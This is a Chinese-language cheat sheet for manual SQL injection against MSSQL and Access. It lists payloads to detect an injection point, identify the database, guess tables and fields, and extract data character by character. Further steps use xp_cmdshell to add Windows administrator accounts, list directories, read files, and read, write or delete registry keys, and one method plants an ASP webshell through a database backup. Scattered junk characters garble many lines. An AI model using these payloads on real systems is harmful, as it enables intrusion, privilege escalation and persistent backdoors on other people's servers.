手工脚本注入 1 m' w8 g- Y" y4 e& w$ v1 K1 U
1.判断是否有注入;and 1=1 ;and 1=2
+ H, r8 I5 T0 p0 h9 D1 N, x) ^' [0 H3 T4 D& f, _
2.初步判断是否是mssql ;and user>0 ; z" e3 T5 O# I$ I
$ |: i& K( U) s' y
3.注入参数是字符'and [查询条件] and ''='
4 n' r( d7 x: d4 ~3 X- x8 z$ l: ^ V
4.搜索时没过滤参数的'and [查询条件] and '%25'='
& s- J: S* F4 } }3 j# j# {2 I$ n5 _ \: |: j { c; W, b
5.判断数据库系统
, M& ^6 Y; x" I$ e;and (select count(*) from sysobjects)>0 mssql ) w& |1 B, H' B O2 U' N
;and (select count(*) from msysobjects)>0 access & a# h$ E$ F, Z# J/ L
/ {7 _5 p6 x( o3 Z- s6.猜数据库 ;and (select Count(*) from [数据库名])>0
- X" [' B% A, `1 z4 M& ]7 B2 }0 @) G" g" q' I: t: g M, k
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
2 t0 a( A0 J# j- n8 q6 g: B. v+ c& J- _5 l0 W
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
& ~% n$ E& L) S- R" c% L6 G
& Z, K* A; X7 [: } L# y9.(1)猜字段的ascii值(access)
& V8 m9 P" I0 c9 t# f;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 $ J* p; @. k5 c. L! X! X$ `. Q
6 B m+ t9 N/ a ?5 Y(2)猜字段的ascii值(mssql)
2 a5 Y/ n9 k( A F5 \" H' {* ?$ F;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
+ g: V* n0 y _; T
( D$ ]. H! w# {9 Q7 [5 e, w10.测试权限结构(mssql) * V- ]! i/ N7 K( b( w. G* s
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
( K% d8 ?5 k3 H5 M1 G: g;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 4 L1 K F- y4 V7 O1 o) F
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- $ y" _# j( m6 J% Q0 l
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 1 m# e8 |( J; w6 Y* r9 i
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
* B7 Y( l' Y2 t4 X1 o* F t i3 Y;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- + ^2 \0 A8 Q1 W2 F; Q- c; ]( u* U
;and 1=(select IS_MEMBER('db_owner'));-- - w7 h* n: c5 U* \/ ^2 W. p+ W" i
3 K) ~! B% @8 N+ O- w) B9 i! \
11.添加mssql和系统的帐户 * o7 G+ O) a# y1 P# E) p
;exec master.dbo.sp_addlogin username;-- " a; R; ]' _/ v
3 x K5 H: O- r' I. U1 {+ K
;exec master.dbo.sp_password null,username,password;-- 1 _7 F0 N* |$ f* T1 n" v
2 `7 C7 s! h0 s' B* Z
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- t% l. L M: B
: s! a3 k+ H2 ]: v5 A7 s5 s
;exec master.dbo.xp_cmdshell 'net user username password 9 V8 Z5 H3 f4 s0 k5 v# z
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
% n8 Z/ q$ ~' w" o+ O) `
M8 x; Z0 a% ?4 B2 n;exec master.dbo.xp_cmdshell 'net user username password /add';--
5 P: _# `0 a$ M5 c8 h$ x) y8 Z# U7 s" U. \$ _* t
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- $ ?# Y3 Y0 v3 w9 ?3 k6 D' i' V
6 B( M& t' P- A! @
12.(1)遍历目录
4 h# ~% e' \, o: Z" i6 P
& A1 O. ]. ]6 g' P% Z& @0 R8 |+ k9 x1 B;create table dirs(paths varchar(100), id int) ) I7 i0 L2 P9 X) k8 n+ Z& m
;insert dirs exec master.dbo.xp_dirtree 'c:\'
/ |& ~7 v+ r8 c6 y, O8 P;and (select top 1 paths from dirs)>0
( L* }$ u( {% _! J;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) % d0 t$ M8 [& t* `
# j- q! R8 N4 ]- r(2)遍历目录 _/ P0 U j/ B0 A+ t+ H8 \
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 9 ^$ V: L+ @3 C9 Y' o
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
9 i; Y1 x( e4 Y/ j;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
, m# k1 R+ r& o! d6 x+ A1 S, f;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
/ Q0 |; ?9 c% K! E* k% N+ }& Y, `;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 8 I$ J& H- l2 |) a6 B
) b$ m: ?. k# _3 H
13.mssql中的存储过程
" l* e) n# e$ \3 u# S& t6 D ~9 J' O5 p! {) n. k0 n. k& e! L
xp_regenumvalues 注册表根键, 子键 # O( `0 [1 `, q6 m) {6 C" e
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 / ~$ C; g/ Y" K6 X
4 r$ f2 Y$ N2 q( d$ sxp_regread 根键,子键,键值名
1 f% r. L( O+ K" \;exec xp_regread + e! f* o5 q" I9 i7 \) h# f. W
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
9 P: @% E' P: l9 x2 n: U: Q/ I
2 H6 Y+ j" F! S4 X4 V8 Zxp_regwrite 根键,子键, 值名, 值类型, 值 6 P$ F& S8 d; o/ Z, F
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
( p8 K4 i! D8 B4 M" V;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 / }- a, {5 \$ w$ N" q
, \* F! g& \7 Z5 k2 L) rxp_regdeletevalue 根键,子键,值名
: O- f8 d4 s" h( C7 N; d; C1 G( U' y3 M$ `. F/ I `7 H
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ! S2 y9 X4 F. t
: s' Y0 c8 Y; h7 ^. axp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ) N! z9 b7 `$ u+ R) X
0 ?" M* T6 A6 a! C
14.mssql的backup创建webshell # Z5 o: Y+ m! v, n. H
use model 8 o4 m4 K; `. l( e
create table cmd(str image); 0 g3 h8 X1 p. _5 P7 r; h) C8 a
insert into cmd(str) values ('');
/ ~: x" U2 k% Q) U3 B! d0 Vbackup database model to disk='c:\l.asp';
( u) H- R2 N p7 P) }% r3 Y1 M% v5 x7 H5 J7 S
15.mssql内置函数
1 D6 E7 h, x8 n# a; k4 i$ Z;and (select @@version)>0 获得Windows的版本号 0 W, [% }/ t3 n9 q
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
/ f( J5 ?1 l8 b7 h" `;and (select user_name())>0 爆当前系统的连接用户
3 c$ o- N: C- C- \" |;and (select db_name())>0 得到当前连接的数据库
4 c6 S6 v- Z7 N/ l; d
' o% O, z" k% W i( t8 K6 c7 @16.简洁的webshell
" X( `1 b+ {2 Q
4 [( u' }- l$ ause model " M9 U5 @# Q' _3 m% w3 e# R( m
% N% o8 p% H; Q0 {6 ~, Q5 H
create table cmd(str image);
' Z. P5 J, b5 Y* ^9 o% Q5 t
: D' ]0 Y" V7 l* E$ D$ [( Cinsert into cmd(str) values ('');
* Q$ ~$ w" X0 q4 G H
! s1 {' g* h' `8 |9 o: Pbackup database model to disk='g:\wwwtest\l.asp';
3 s6 {1 j& t8 j5 q! J, l . \4 k. v: o9 N% i C
|